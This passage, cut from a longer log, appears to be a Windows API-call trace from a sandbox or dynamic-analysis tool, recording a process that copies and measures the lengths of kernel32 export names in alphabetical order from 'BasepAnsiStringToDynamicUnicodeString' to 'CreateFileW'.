(lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0142.860] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0142.860] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0142.860] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0142.860] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0142.860] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0142.860] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0142.860] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0142.860] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0142.860] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0142.860] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0142.860] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0142.860] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0142.860] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0142.860] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0142.860] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0142.860] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0142.860] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0142.860] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0142.860] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0142.861] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0142.861] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0142.861] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0142.861] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0142.861] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0142.861] lstrlenA (lpString="BEEP") returned 4 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0142.861] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0142.861] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0142.861] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0142.861] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0142.861] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0142.861] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0142.861] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0142.861] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0142.861] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0142.861] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0142.861] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0142.861] lstrlenA (lpString="CANCELIO") returned 8 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0142.861] lstrlenA (lpString="CANCELIOEX") returned 10 [0142.861] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0142.861] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0142.862] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0142.862] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0142.862] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0142.862] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0142.862] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0142.862] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0142.862] lstrlenA (lpString="CHECKELEVATION") returned 14 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0142.862] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0142.862] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0142.862] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0142.862] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0142.862] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0142.862] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0142.862] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0142.862] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0142.862] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0142.862] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0142.862] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0142.862] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0142.862] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0142.862] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0142.862] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0142.863] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0142.863] lstrlenA (lpString="CLOSESTATE") returned 10 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0142.863] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0142.863] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0142.863] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0142.863] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0142.863] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0142.863] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0142.863] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0142.863] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0142.863] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0142.863] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0142.863] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0142.863] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0142.863] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0142.863] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0142.863] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0142.863] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0142.863] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0142.863] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0142.864] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0142.864] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0142.864] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0142.864] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0142.864] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0142.864] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0142.864] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0142.864] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0142.864] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0142.864] lstrlenA (lpString="COPYCONTEXT") returned 11 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0142.864] lstrlenA (lpString="COPYFILE2") returned 9 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0142.864] lstrlenA (lpString="COPYFILEA") returned 9 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0142.864] lstrlenA (lpString="COPYFILEEXA") returned 11 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0142.864] lstrlenA (lpString="COPYFILEEXW") returned 11 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0142.864] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0142.864] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0142.864] lstrlenA (lpString="COPYFILEW") returned 9 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0142.864] lstrlenA (lpString="COPYLZFILE") returned 10 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0142.864] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0142.864] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0142.864] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0142.864] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0142.865] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0142.865] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0142.865] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0142.865] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0142.865] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0142.865] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0142.865] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0142.865] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0142.865] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0142.865] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0142.865] lstrlenA (lpString="CREATEEVENTA") returned 12 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0142.865] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0142.865] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0142.865] lstrlenA (lpString="CREATEEVENTW") returned 12 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0142.865] lstrlenA (lpString="CREATEFIBER") returned 11 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0142.865] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0142.865] lstrlenA (lpString="CREATEFILE2") returned 11 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0142.865] lstrlenA (lpString="CREATEFILEA") returned 11 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0142.865] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0142.865] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0142.865] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0142.865] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0142.866] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0142.866] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0142.866] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0142.866] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0142.866] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0142.866] lstrlenA (lpString="CREATEFILEW") 